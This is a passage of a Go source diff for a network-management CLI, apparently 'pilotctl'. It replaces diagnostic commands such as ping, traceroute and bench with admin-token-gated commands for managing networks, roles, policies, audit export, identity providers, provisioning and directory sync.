uint16(im["network_id"].(float64)) + inviterID := uint32(im["inviter_id"].(float64)) + ts, _ := im["timestamp"].(string) + fmt.Printf("%-12d %-12d %s\n", netID, inviterID, ts) + } + fmt.Println("\naccept: pilotctl network accept ") + fmt.Println("reject: pilotctl network reject ") +} - // Human-readable - uptime := info["uptime_secs"].(float64) - hours := int(uptime) / 3600 - mins := (int(uptime) % 3600) / 60 - secs := int(uptime) % 60 +func cmdNetworkAccept(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network accept ") + } + netID := parseUint16(args[0], "network_id") - bytesSent := uint64(info["bytes_sent"].(float64)) - bytesRecv := uint64(info["bytes_recv"].(float64)) - pktsSent := uint64(info["pkts_sent"].(float64)) - pktsRecv := uint64(info["pkts_recv"].(float64)) + d := connectDriver() + defer d.Close() - encryptEnabled := false - if e, ok := info["encrypt"].(bool); ok { - encryptEnabled = e + result, err := d.NetworkRespondInvite(netID, true) + if err != nil { + fatalCode("connection_failed", "network accept: %v", err) } - encryptedPeers := 0 - if ep, ok := info["encrypted_peers"].(float64); ok { - encryptedPeers = int(ep) + if jsonOutput { + output(result) + } else { + fmt.Printf("accepted invite to network %d\n", netID) } +} - fmt.Printf("Pilot Protocol Daemon\n") - fmt.Printf(" Node ID: %d\n", int(info["node_id"].(float64))) - fmt.Printf(" Address: %s\n", info["address"]) - if hostname, ok := info["hostname"].(string); ok && hostname != "" { - fmt.Printf(" Hostname: %s\n", hostname) +func cmdNetworkReject(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network reject ") } - fmt.Printf(" Uptime: %02d:%02d:%02d\n", hours, mins, secs) - fmt.Printf(" Connections: %d\n", int(info["connections"].(float64))) - fmt.Printf(" Ports: %d\n", int(info["ports"].(float64))) - fmt.Printf(" Peers: %d\n", int(info["peers"].(float64))) - authenticatedPeers := 0 - if ap, ok := info["authenticated_peers"].(float64); ok { - authenticatedPeers = int(ap) + netID := parseUint16(args[0], "network_id") + + d := connectDriver() + defer d.Close() + + result, err := d.NetworkRespondInvite(netID, false) + if err != nil { + fatalCode("connection_failed", "network reject: %v", err) } - if encryptEnabled { - fmt.Printf(" Encryption: enabled (X25519 + AES-256-GCM), %d/%d peers encrypted, %d authenticated\n", - encryptedPeers, int(info["peers"].(float64)), authenticatedPeers) + if jsonOutput { + output(result) } else { - fmt.Printf(" Encryption: disabled\n") + fmt.Printf("rejected invite to network %d\n", netID) } - hasIdentity := false - if id, ok := info["identity"].(bool); ok { - hasIdentity = id +} + +// --- Enterprise network commands (direct to registry, admin token required) --- + +func cmdNetworkCreate(args []string) { + flags, _ := parseFlags(args) + name := flagString(flags, "name", "") + joinRule := flagString(flags, "join-rule", "open") + token := flagString(flags, "token", "") + enterprise := flagBool(flags, "enterprise") + nodeIDStr := flagString(flags, "node-id", "0") + networkAdminToken := flagString(flags, "network-admin-token", "") + rulesJSON := flagString(flags, "rules", "") + rulesFile := flagString(flags, "rules-file", "") + + if name == "" { + fatalCode("invalid_argument", "usage: pilotctl network create --name [--join-rule open|token|invite] [--token T] [--enterprise] [--node-id N] [--rules ''] [--rules-file path]") + } + + // Load rules from file if specified + if rulesFile != "" && rulesJSON == "" { + data, err := os.ReadFile(rulesFile) + if err != nil { + fatalCode("invalid_argument", "cannot read rules file: %v", err) + } + rulesJSON = string(data) } - if hasIdentity { - pubKey, _ := info["public_key"].(string) - fingerprint := pubKey - if len(fingerprint) > 16 { - fingerprint = fingerprint[:16] + "..." + + adminToken := requireAdminToken() + nodeID := parseNodeID(nodeIDStr) + + rc := connectRegistry() + defer rc.Close() + + var resp map[string]interface{} + var err error + if rulesJSON != "" { + resp, err = rc.CreateManagedNetwork(nodeID, name, joinRule, token, adminToken, enterprise, rulesJSON, networkAdminToken) + } else if networkAdminToken != "" { + resp, err = rc.CreateNetwork(nodeID, name, joinRule, token, adminToken, enterprise, networkAdminToken) + } else { + resp, err = rc.CreateNetwork(nodeID, name, joinRule, token, adminToken, enterprise) + } + if err != nil { + fatalCode("connection_failed", "network create: %v", err) + } + if jsonOutput { + output(resp) + } else { + managed := "" + if resp["managed"] == true { + managed = ", managed=true" } - fmt.Printf(" Identity: persistent (Ed25519 %s)\n", fingerprint) + fmt.Printf("created network %v: %s (join_rule=%s, enterprise=%v%s)\n", + resp["network_id"], name, joinRule, enterprise, managed) + } +} + +func cmdNetworkDelete(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network delete ") + } + netID := parseUint16(args[0], "network_id") + adminToken := requireAdminToken() + + rc := connectRegistry() + defer rc.Close() + + resp, err := rc.DeleteNetwork(netID, adminToken) + if err != nil { + fatalCode("connection_failed", "network delete: %v", err) + } + if jsonOutput { + output(resp) } else { - fmt.Printf(" Identity: ephemeral (not persisted)\n") + fmt.Printf("deleted network %d\n", netID) } - if owner, ok := info["owner"].(string); ok && owner != "" { - fmt.Printf(" Owner: %s\n", owner) +} + +func cmdNetworkRename(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network rename ") } - fmt.Printf(" Traffic: %s sent / %s recv\n", formatBytes(bytesSent), formatBytes(bytesRecv)) - fmt.Printf(" Packets: %d sent / %d recv\n", pktsSent, pktsRecv) + netID := parseUint16(args[0], "network_id") + name := args[1] + adminToken := requireAdminToken() - connList, ok := info["conn_list"].([]interface{}) - if ok && len(connList) > 0 { - maxDisplay := 50 - fmt.Printf("\nActive connections: %d\n", len(connList)) - fmt.Printf(" %-4s %-6s %-22s %-6s %-11s %-8s %-8s %-6s\n", - "ID", "LOCAL", "REMOTE ADDR", "RPORT", "STATE", "CWND", "FLIGHT", "SRTT") - displayed := 0 - for _, c := range connList { - if displayed >= maxDisplay { - fmt.Printf("\n ... and %d more connections (showing first %d)\n", len(connList)-maxDisplay, maxDisplay) - break - } - displayed++ - conn := c.(map[string]interface{}) - recoveryStr := "" - if inRec, ok := conn["in_recovery"].(bool); ok && inRec { - recoveryStr = " [RECOVERY]" - } - fmt.Printf(" %-4d %-6d %-22s %-6d %-11s %-8s %-8s %.0fms%s\n", - int(conn["id"].(float64)), - int(conn["local_port"].(float64)), - conn["remote_addr"], - int(conn["remote_port"].(float64)), - conn["state"], - formatBytes(uint64(conn["cong_win"].(float64))), - formatBytes(uint64(conn["in_flight"].(float64))), - conn["srtt_ms"].(float64), - recoveryStr, - ) - } + rc := connectRegistry() + defer rc.Close() + + resp, err := rc.RenameNetwork(netID, name, adminToken) + if err != nil { + fatalCode("connection_failed", "network rename: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("renamed network %d to %q\n", netID, name) + } +} + +func cmdNetworkPromote(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network promote ") + } + netID := parseUint16(args[0], "network_id") + targetNodeID := parseNodeID(args[1]) + adminToken := requireAdminToken() + + rc := connectRegistry() + defer rc.Close() + + // Use node_id=0 since we're authenticating with admin token, not RBAC + resp, err := rc.PromoteMember(netID, 0, targetNodeID, adminToken) + if err != nil { + fatalCode("connection_failed", "network promote: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("promoted node %d to admin in network %d\n", targetNodeID, netID) + } +} + +func cmdNetworkDemote(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network demote ") + } + netID := parseUint16(args[0], "network_id") + targetNodeID := parseNodeID(args[1]) + adminToken := requireAdminToken() + + rc := connectRegistry() + defer rc.Close() + + resp, err := rc.DemoteMember(netID, 0, targetNodeID, adminToken) + if err != nil { + fatalCode("connection_failed", "network demote: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("demoted node %d to member in network %d\n", targetNodeID, netID) + } +} + +func cmdNetworkKick(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network kick ") + } + netID := parseUint16(args[0], "network_id") + targetNodeID := parseNodeID(args[1]) + adminToken := requireAdminToken() + + rc := connectRegistry() + defer rc.Close() + + resp, err := rc.KickMember(netID, 0, targetNodeID, adminToken) + if err != nil { + fatalCode("connection_failed", "network kick: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("kicked node %d from network %d\n", targetNodeID, netID) } } -func cmdPeers(args []string) { - flags, _ := parseFlags(args) - search := flagString(flags, "search", "") +func cmdNetworkRole(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network role ") + } + netID := parseUint16(args[0], "network_id") + nodeID := parseNodeID(args[1]) - d := connectDriver() - defer d.Close() + rc := connectRegistry() + defer rc.Close() - info, err := d.Info() + resp, err := rc.GetMemberRole(netID, nodeID) if err != nil { - fatalCode("connection_failed", "info: %v", err) + fatalCode("connection_failed", "network role: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("node %d in network %d: role=%v\n", nodeID, netID, resp["role"]) } +} - peerList, ok := info["peer_list"].([]interface{}) - if !ok { - peerList = []interface{}{} +func cmdNetworkPolicy(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network policy [--set key=value ...]") } + netID := parseUint16(args[0], "network_id") - // Filter by search query - var filtered []interface{} - for _, p := range peerList { - if search == "" { - filtered = append(filtered, p) - continue + // Check if we're setting or getting + setArgs := args[1:] + if len(setArgs) == 0 { + // GET policy + rc := connectRegistry() + defer rc.Close() + resp, err := rc.GetNetworkPolicy(netID) + if err != nil { + fatalCode("connection_failed", "network policy: %v", err) } - peer := p.(map[string]interface{}) - searchLower := strings.ToLower(search) - nodeIDStr := fmt.Sprintf("%d", int(peer["node_id"].(float64))) - endpoint, _ := peer["endpoint"].(string) - if strings.Contains(nodeIDStr, searchLower) || - strings.Contains(strings.ToLower(endpoint), searchLower) { - filtered = append(filtered, p) + output(resp) + return + } + + // SET policy + adminToken := requireAdminToken() + policy := make(map[string]interface{}) + flags, _ := parseFlags(setArgs) + if v := flagString(flags, "max-members", ""); v != "" { + n, err := strconv.Atoi(v) + if err != nil { + fatalCode("invalid_argument", "invalid max-members: %v", err) + } + policy["max_members"] = float64(n) + } + if v := flagString(flags, "description", ""); v != "" { + policy["description"] = v + } + if v := flagString(flags, "allowed-ports", ""); v != "" { + var ports []interface{} + for _, p := range strings.Split(v, ",") { + pv, err := strconv.Atoi(strings.TrimSpace(p)) + if err != nil { + fatalCode("invalid_argument", "invalid port %q: %v", p, err) + } + ports = append(ports, float64(pv)) } + policy["allowed_ports"] = ports } + rc := connectRegistry() + defer rc.Close() + resp, err := rc.SetNetworkPolicy(netID, policy, adminToken) + if err != nil { + fatalCode("connection_failed", "network policy set: %v", err) + } if jsonOutput { - output(map[string]interface{}{ - "peers": filtered, - "total": len(filtered), - }) - return + output(resp) + } else { + fmt.Printf("updated policy for network %d\n", netID) } +} - if len(filtered) == 0 { - if search != "" { - fmt.Printf("no peers matching %q\n", search) - } else { - fmt.Println("no peers connected") - fmt.Println(" peers appear when you communicate with other nodes") - } +func cmdAudit(args []string) { + adminToken := requireAdminToken() + flags, _ := parseFlags(args) + netIDStr := flagString(flags, "network", "0") + netID := parseUint16(netIDStr, "network_id") + + rc := connectRegistry() + defer rc.Close() + + resp, err := rc.GetAuditLog(netID, adminToken) + if err != nil { + fatalCode("connection_failed", "audit: %v", err) + } + if jsonOutput { + output(resp) return } - - maxDisplay := 50 - fmt.Printf("%-10s %-30s %-20s %s\n", "NODE ID", "ENDPOINT", "ENCRYPTED", "AUTH") - displayed := 0 - for _, p := range filtered { - if displayed >= maxDisplay { - fmt.Printf("\n... and %d more peers (showing first %d)\n", len(filtered)-maxDisplay, maxDisplay) - break - } - displayed++ - peer := p.(map[string]interface{}) - encrypted := false - if e, ok := peer["encrypted"].(bool); ok { - encrypted = e + entries, ok := resp["entries"].([]interface{}) + if !ok || len(entries) == 0 { + fmt.Println("no audit entries") + return + } + for _, e := range entries { + entry, ok := e.(map[string]interface{}) + if !ok { + continue } - authenticated := false - if a, ok := peer["authenticated"].(bool); ok { - authenticated = a + ts := entry["timestamp"] + action := entry["action"] + nodeID := entry["node_id"] + netID := entry["network_id"] + details := entry["details"] + + line := fmt.Sprintf("%-30v %-30v", ts, action) + if nodeID != nil && nodeID != float64(0) { + line += fmt.Sprintf(" node=%v", nodeID) } - encStr := "no" - if encrypted { - encStr = "yes (AES-256-GCM)" + if netID != nil && netID != float64(0) { + line += fmt.Sprintf(" net=%v", netID) } - authStr := "no" - if authenticated { - authStr = "yes (Ed25519)" + if details != nil && details != "" { + line += fmt.Sprintf(" %v", details) } - fmt.Printf("%-10d %-30s %-20s %s\n", int(peer["node_id"].(float64)), peer["endpoint"], encStr, authStr) + fmt.Println(line) } } -func cmdPing(args []string) { - flags, pos := parseFlags(args) - if len(pos) < 1 { - fatalCode("invalid_argument", "usage: pilotctl ping [--count ] [--timeout ]") - } - - count := flagInt(flags, "count", 4) - timeout := flagDuration(flags, "timeout", 30*time.Second) +// --- Provisioning commands --- - d := connectDriver() - defer d.Close() +func cmdProvision(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl provision ") + } + adminToken := requireAdminToken() - target, err := parseAddrOrHostname(d, pos[0]) + data, err := os.ReadFile(args[0]) if err != nil { - fatalCode("not_found", "%v", err) + fatalCode("invalid_argument", "read blueprint: %v", err) } - if !jsonOutput { - fmt.Printf("PING %s\n", target) + var blueprint map[string]interface{} + if err := json.Unmarshal(data, &blueprint); err != nil { + fatalCode("invalid_argument", "parse blueprint: %v", err) } - var results []map[string]interface{} - deadline := time.After(timeout) + rc := connectRegistry() + defer rc.Close() - for i := 0; i < count; i++ { - select { - case <-deadline: - if jsonOutput { - output(map[string]interface{}{ - "target": target.String(), - "results": results, - "timeout": true, - }) - } else { - fmt.Println("timeout") - } - return - default: - } + resp, err := rc.ProvisionNetwork(blueprint, adminToken) + if err != nil { + fatalCode("connection_failed", "provision: %v", err) + } + if jsonOutput { + output(resp) + return + } - start := time.Now() - conn, err := d.DialAddr(target, protocol.PortEcho) - if err != nil { - r := map[string]interface{}{"seq": i, "error": err.Error()} - results = append(results, r) - if !jsonOutput { - fmt.Printf("seq=%d error: %v\n", i, err) - } - time.Sleep(time.Second) - continue + fmt.Printf("provisioned network %v (%s)\n", resp["network_id"], resp["name"]) + if actions, ok := resp["actions"].([]interface{}); ok { + for _, a := range actions { + fmt.Printf(" - %v\n", a) } + } +} - payload := fmt.Sprintf("ping-%d", i) - conn.Write([]byte(payload)) - - buf := make([]byte, 1024) - n, err := conn.Read(buf) - conn.Close() +func cmdDeprovision(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl deprovision ") + } + name := args[0] + adminToken := requireAdminToken() - rtt := time.Since(start) - r := map[string]interface{}{ - "seq": i, - "rtt_ms": float64(rtt.Microseconds()) / 1000.0, - } - if err != nil { - r["error"] = err.Error() - if !jsonOutput { - fmt.Printf("seq=%d error: %v\n", i, err) - } - } else { - r["bytes"] = n - if !jsonOutput { - fmt.Printf("seq=%d bytes=%d time=%v\n", i, n, rtt) - } - } - results = append(results, r) + rc := connectRegistry() + defer rc.Close() - if i < count-1 { - time.Sleep(time.Second) + // Look up network by name + resp, err := rc.ListNetworks() + if err != nil { + fatalCode("connection_failed", "list networks: %v", err) + } + nets, _ := resp["networks"].([]interface{}) + var netID uint16 + found := false + for _, n := range nets { + nm, _ := n.(map[string]interface{}) + nname, _ := nm["name"].(string) + if nname == name { + netID = uint16(nm["id"].(float64)) + found = true + break } } + if !found { + fatalCode("not_found", "network %q not found", name) + } + delResp, err := rc.DeleteNetwork(netID, adminToken) + if err != nil { + fatalCode("connection_failed", "delete network %q (id=%d): %v", name, netID, err) + } if jsonOutput { - output(map[string]interface{}{ - "target": target.String(), - "results": results, - "timeout": false, - }) + output(delResp) + return } + fmt.Printf("deprovisioned network %q (id=%d)\n", name, netID) } -func cmdTraceroute(args []string) { - flags, pos := parseFlags(args) - if len(pos) < 1 { - fatalCode("invalid_argument", "usage: pilotctl traceroute
[--timeout ]") +func cmdIDP(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl idp [options]") } + adminToken := requireAdminToken() - timeout := flagDuration(flags, "timeout", 30*time.Second) + switch args[0] { + case "get": + rc := connectRegistry() + defer rc.Close() + resp, err := rc.GetIDPConfig(adminToken) + if err != nil { + fatalCode("connection_failed", "idp get: %v", err) + } + if jsonOutput { + output(resp) + } else { + if resp["configured"] == true { + fmt.Printf("IdP: %v (%v)\n", resp["idp_type"], resp["url"]) + if v := resp["issuer"]; v != nil && v != "" { + fmt.Printf(" issuer: %v\n", v) + } + if v := resp["tenant_id"]; v != nil && v != "" { + fmt.Printf(" tenant: %v\n", v) + } + if v := resp["client_id"]; v != nil && v != "" { + fmt.Printf(" client_id: %v\n", v) + } + } else { + fmt.Println("no identity provider configured") + } + } - d := connectDriver() - defer d.Close() + case "set": + flags, _ := parseFlags(args[1:]) + idpType := flagString(flags, "type", "") + url := flagString(flags, "url", "") + issuer := flagString(flags, "issuer", "") + clientID := flagString(flags, "client-id", "") + tenantID := flagString(flags, "tenant-id", "") + domain := flagString(flags, "domain", "") + + if idpType == "" || url == "" { + fatalCode("invalid_argument", "usage: pilotctl idp set --type --url [--issuer URL] [--client-id ID] [--tenant-id ID] [--domain D]") + } - target, err := protocol.ParseAddr(pos[0]) - if err != nil { - fatalCode("invalid_argument", "parse address: %v", err) - } + rc := connectRegistry() + defer rc.Close() + resp, err := rc.SetIDPConfig(idpType, url, issuer, clientID, tenantID, domain, adminToken) + if err != nil { + fatalCode("connection_failed", "idp set: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("identity provider configured: %s (%s)\n", idpType, resp["status"]) + } - if !jsonOutput { - fmt.Printf("TRACEROUTE %s\n", target) + default: + fatalCode("invalid_argument", "unknown idp subcommand: %s (use get or set)", args[0]) } +} - start := time.Now() - connDone := make(chan *driver.Conn) - var dialErr error - go func() { - conn, err := d.DialAddr(target, protocol.PortEcho) - dialErr = err - connDone <- conn - }() - - var conn *driver.Conn - select { - case conn = <-connDone: - case <-time.After(timeout): - fatalCode("timeout", "dial timeout") +func cmdAuditExport(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl audit-export [options]") } + adminToken := requireAdminToken() - setupTime := time.Since(start) - if dialErr != nil { + switch args[0] { + case "get": + rc := connectRegistry() + defer rc.Close() + resp, err := rc.GetAuditExport(adminToken) + if err != nil { + fatalCode("connection_failed", "audit-export get: %v", err) + } if jsonOutput { - output(map[string]interface{}{ - "target": target.String(), - "setup_ms": float64(setupTime.Microseconds()) / 1000.0, - "error": dialErr.Error(), - }) + output(resp) } else { - fmt.Printf(" 1 %s connection failed: %v\n", target, dialErr) + if resp["enabled"] == true { + fmt.Printf("audit export: %v → %v\n", resp["format"], resp["endpoint"]) + if v := resp["exported"]; v != nil { + fmt.Printf(" exported: %v, dropped: %v\n", v, resp["dropped"]) + } + } else { + fmt.Println("audit export not configured") + } } - return - } - - if !jsonOutput { - fmt.Printf(" 1 %s setup=%v\n", target, setupTime) - } - var rttSamples []map[string]interface{} - for i := 0; i < 3; i++ { - pingStart := time.Now() - payload := fmt.Sprintf("trace-%d", i) - conn.Write([]byte(payload)) + case "set": + flags, _ := parseFlags(args[1:]) + format := flagString(flags, "format", "") + endpoint := flagString(flags, "endpoint", "") + token := flagString(flags, "splunk-token", "") + index := flagString(flags, "index", "") + source := flagString(flags, "source", "pilot-registry") - buf := make([]byte, 1024) - n, err := conn.Read(buf) - rtt := time.Since(pingStart) + if format == "" || endpoint == "" { + fatalCode("invalid_argument", "usage: pilotctl audit-export set --format --endpoint [--splunk-token T] [--index I] [--source S]") + } - sample := map[string]interface{}{ - "rtt_ms": float64(rtt.Microseconds()) / 1000.0, + rc := connectRegistry() + defer rc.Close() + resp, err := rc.SetAuditExport(format, endpoint, token, index, source, adminToken) + if err != nil { + fatalCode("connection_failed", "audit-export set: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("audit export configured: %s → %s\n", format, endpoint) } + + case "disable": + rc := connectRegistry() + defer rc.Close() + resp, err := rc.SetAuditExport("", "", "", "", "", adminToken) if err != nil { - sample["error"] = err.Error() - if !jsonOutput { - fmt.Printf(" rtt=%v error: %v\n", rtt, err) - } + fatalCode("connection_failed", "audit-export disable: %v", err) + } + if jsonOutput { + output(resp) } else { - sample["bytes"] = n - if !jsonOutput { - fmt.Printf(" rtt=%v bytes=%d\n", rtt, n) - } + fmt.Println("audit export disabled") } - rttSamples = append(rttSamples, sample) + + default: + fatalCode("invalid_argument", "unknown audit-export subcommand: %s (use get, set, or disable)", args[0]) } - conn.Close() +} + +func cmdProvisionStatus() { + adminToken := requireAdminToken() + rc := connectRegistry() + defer rc.Close() + resp, err := rc.GetProvisionStatus(adminToken) + if err != nil { + fatalCode("connection_failed", "provision-status: %v", err) + } if jsonOutput { - output(map[string]interface{}{ - "target": target.String(), - "setup_ms": float64(setupTime.Microseconds()) / 1000.0, - "rtt_samples": rttSamples, - }) - } else { - fmt.Printf("\nsetup includes: tunnel negotiation + SYN/ACK handshake\n") - fmt.Printf("rtt is: data round-trip over established connection\n") + output(resp) + return + } + + if v := resp["idp_type"]; v != nil { + fmt.Printf("identity provider: %v\n", v) + } + if v := resp["audit_export"]; v != nil { + fmt.Printf("audit export: %v\n", v) + } + if v := resp["webhook_enabled"]; v == true { + fmt.Println("webhook: enabled") + } + fmt.Println() + + networks, ok := resp["networks"].([]interface{}) + if !ok || len(networks) == 0 { + fmt.Println("no networks provisioned") + return + } + fmt.Printf("%-6s %-20s %-12s %-10s %-8s %s\n", "ID", "Name", "Enterprise", "Members", "Rule", "Pre-Assign") + for _, n := range networks { + net, ok := n.(map[string]interface{}) + if !ok { + continue + } + enterprise := "no" + if net["enterprise"] == true { + enterprise = "yes" + } + preAssign := "" + if v := net["rbac_pre_assignments"]; v != nil && v != float64(0) { + preAssign = fmt.Sprintf("%v roles", v) + } + fmt.Printf("%-6v %-20v %-12s %-10v %-8v %s\n", + net["network_id"], net["name"], enterprise, + net["members"], net["join_rule"], preAssign) } } -func cmdBench(args []string) { - flags, pos := parseFlags(args) - if len(pos) < 1 { - fatalCode("invalid_argument", "usage: pilotctl bench [size_mb] [--timeout ]") +// --- Directory sync commands --- + +func cmdDirectorySync(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl directory-sync [--network ] [--remove-unlisted]") } + adminToken := requireAdminToken() + flags, pos := parseFlags(args) - timeout := flagDuration(flags, "timeout", 120*time.Second) + var filePath string + if len(pos) > 0 { + filePath = pos[0] + } else { + filePath = args[0] + } - d := connectDriver() - defer d.Close() + netIDStr := flagString(flags, "network", "0") + netID := parseUint16(netIDStr, "network_id") + removeUnlisted := flagBool(flags, "remove-unlisted") - target, err := parseAddrOrHostname(d, pos[0]) + data, err := os.ReadFile(filePath) if err != nil { - fatalCode("not_found", "%v", err) + fatalCode("invalid_argument", "read directory file: %v", err) } - totalSize := 1024 * 1024 - if len(pos) > 1 { - sizeMB, err := strconv.ParseFloat(pos[1], 64) - if err != nil { - fatalCode("invalid_argument", "invalid size: %v", err) - } - totalSize = int(sizeMB * 1024 * 1024) + var payload struct { + NetworkID uint16 `json:"network_id"` + Entries []map[string]interface{} `json:"entries"` + RemoveUnlisted bool `json:"remove_unlisted"` } - const chunkSize = 4096 - - if !jsonOutput { - fmt.Printf("BENCH %s — sending %s via echo port\n", target, formatBytes(uint64(totalSize))) + if err := json.Unmarshal(data, &payload); err != nil { + fatalCode("invalid_argument", "parse directory file: %v", err) } - conn, err := d.DialAddr(target, protocol.PortEcho) - if err != nil { - fatalHint("connection_failed", - fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), - "cannot connect to %s echo port", target) + if netID == 0 && payload.NetworkID > 0 { + netID = payload.NetworkID + } + if netID == 0 { + fatalCode("invalid_argument", "network_id required (use --network or set in file)") + } + if removeUnlisted { + payload.RemoveUnlisted = true } - defer conn.Close() - var recvTotal int - recvDone := make(chan struct{}) - go func() { - defer close(recvDone) - buf := make([]byte, 65535) - for recvTotal < totalSize { - n, err := conn.Read(buf) - if err != nil { - return - } - recvTotal += n - } - }() + rc := connectRegistry() + defer rc.Close() - chunk := make([]byte, chunkSize) - for i := range chunk { - chunk[i] = byte(i % 256) + resp, err := rc.DirectorySync(netID, payload.Entries, payload.RemoveUnlisted, adminToken) + if err != nil { + fatalCode("connection_failed", "directory-sync: %v", err) + } + if jsonOutput { + output(resp) + return } - start := time.Now() - sent := 0 - for sent < totalSize { - remaining := totalSize - sent - writeSize := chunkSize - if remaining < writeSize { - writeSize = remaining - } - if _, err := conn.Write(chunk[:writeSize]); err != nil { - fatalCode("connection_failed", "write: %v", err) + fmt.Printf("directory sync complete: %v mapped, %v updated, %v disabled, %v unmapped\n", + resp["mapped"], resp["updated"], resp["disabled"], resp["unmapped"]) + if actions, ok := resp["actions"].([]interface{}); ok { + for _, a := range actions { + fmt.Printf(" - %v\n", a) } - sent += writeSize } - sendDuration := time.Since(start) +} - select { - case <-recvDone: - case <-time.After(timeout): - if !jsonOutput { - fmt.Printf("warning: receive timed out (got %s of %s)\n", - formatBytes(uint64(recvTotal)), formatBytes(uint64(totalSize))) - } +func cmdDirectoryStatus(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl directory-status ") } - totalDuration := time.Since(start) + adminToken := requireAdminToken() + netID := parseUint16(args[0], "network_id") - sendThroughput := float64(totalSize) / sendDuration.Seconds() / 1024 / 1024 - totalThroughput := float64(totalSize) / totalDuration.Seconds() / 1024 / 1024 + rc := connectRegistry() + defer rc.Close() + resp, err := rc.DirectoryStatus(netID, adminToken) + if err != nil { + fatalCode("connection_failed", "directory-status: %v", err) + } if jsonOutput { - output(map[string]interface{}{ - "target": target.String(), - "sent_bytes": sent, - "recv_bytes": recvTotal, - "send_duration_ms": float64(sendDuration.Milliseconds()), - "total_duration_ms": float64(totalDuration.Milliseconds()), - "send_mbps": sendThroughput, - "total_mbps": totalThroughput, - }) - } else { - fmt.Printf(" Sent: %s in %v (%.1f MB/s)\n", formatBytes(uint64(sent)), sendDuration.Round(time.Millisecond), sendThroughput) - fmt.Printf(" Echoed: %s in %v (%.1f MB/s round-trip)\n", formatBytes(uint64(recvTotal)), totalDuration.Round(time.Millisecond), totalThroughput) + output(resp) + return + } + + fmt.Printf("Network %v directory status:\n", resp["network_id"]) + fmt.Printf(" total members: %v\n", resp["total"]) + fmt.Printf(" directory mapped: %v\n", resp["mapped"]) + fmt.Printf(" unmapped: %v\n", resp["unmapped"]) + if v := resp["pre_assignments"]; v != nil && v != float64(0) { + fmt.Printf(" pre-assignments: %v\n", v) + } + if v := resp["last_sync"]; v != nil && v != "" { + fmt.Printf(" last sync: %v\n", v) } } -func cmdListen(args []string) { +// --- Managed network commands --- + +func cmdManagedScore(args []string) { flags, pos := parseFlags(args) if len(pos) < 1 { - fatalCode("invalid_argument", "usage: pilotctl listen [--count ] [--timeout ]") - } - - p, err := strconv.ParseUint(pos[0], 10, 16) - if err != nil { - fatalCode("invalid_argument", "invalid port %q: %v", pos[0], err) + fatalCode("invalid_argument", "usage: pilotctl managed score [--net ] [--topic T] [--delta N]") } - port := uint16(p) - count := flagInt(flags, "count", 0) // 0 = infinite - timeout := flagDuration(flags, "timeout", 0) + nodeID := parseNodeID(pos[0]) + netID := uint16(flagInt(flags, "net", 0)) + topic := flagString(flags, "topic", "") + delta := flagInt(flags, "delta", 1) d := connectDriver() defer d.Close() - if !jsonOutput { - fmt.Fprintf(os.Stderr, "listening on port %d — waiting for datagrams...\n", port) + resp, err := d.ManagedScore(netID, nodeID, delta, topic) + if err != nil { + fatalCode("connection_failed", "managed score: %v", err) } - - var messages []map[string]interface{} - received := 0 - - var deadline <-chan time.Time - if timeout > 0 { - deadline = time.After(timeout) + if jsonOutput { + output(resp) + } else { + fmt.Printf("scored peer %d: delta=%d topic=%q\n", nodeID, delta, topic) } +} - for { - if count > 0 && received >= count { - break - } - - dgCh := make(chan *driver.Datagram) - errCh := make(chan error) - go func() { - dg, err := d.RecvFrom() - if err != nil { - errCh <- err - return - } - dgCh <- dg - }() +func cmdManagedStatus(args []string) { + flags, _ := parseFlags(args) + netID := uint16(flagInt(flags, "net", 0)) - select { - case dg := <-dgCh: - if dg.DstPort == port { - received++ - msg := map[string]interface{}{ - "src_addr": dg.SrcAddr.String(), - "src_port": dg.SrcPort, - "data": string(dg.Data), - "bytes": len(dg.Data), - } - messages = append(messages, msg) + d := connectDriver() + defer d.Close() - if jsonOutput { - if count > 0 && received >= count { - break // will exit loop and print all - } - // Stream each message as NDJSON for unbounded - if count == 0 { - b, _ := json.Marshal(msg) - fmt.Println(string(b)) - } - } else { - fmt.Printf("[%s:%d] %s\n", dg.SrcAddr, dg.SrcPort, string(dg.Data)) - } - } - case err := <-errCh: - fatalCode("connection_failed", "recv: %v", err) - case <-deadline: - if jsonOutput && count > 0 { - output(map[string]interface{}{ - "messages": messages, - "timeout": true, - }) - } else if !jsonOutput { - fmt.Fprintln(os.Stderr, "timeout") - } - return - } + resp, err := d.ManagedStatus(netID) + if err != nil { + fatalCode("connection_failed", "managed status: %v", err) } + output(resp) +} - if jsonOutput && count > 0 { - output(map[string]interface{}{ - "messages": messages, - "timeout": false, - }) +func cmdManagedRankings(args []string) { + flags, _ := parseFlags(args) + netID := uint16(flagInt(flags, "net", 0)) + + d := connectDriver() + defer d.Close() + + resp, err := d.ManagedRankings(netID) + if err != nil { + fatalCode("connection_failed", "managed rankings: %v", err) } + output(resp) } -func cmdBroadcast(args []string) { - fatalCode("unavailable", "broadcast is not available yet — custom networks are WIP") +func cmdManagedCycle(args []string) { + flags, _ := parseFlags(args) + netID := uint16(flagInt(flags, 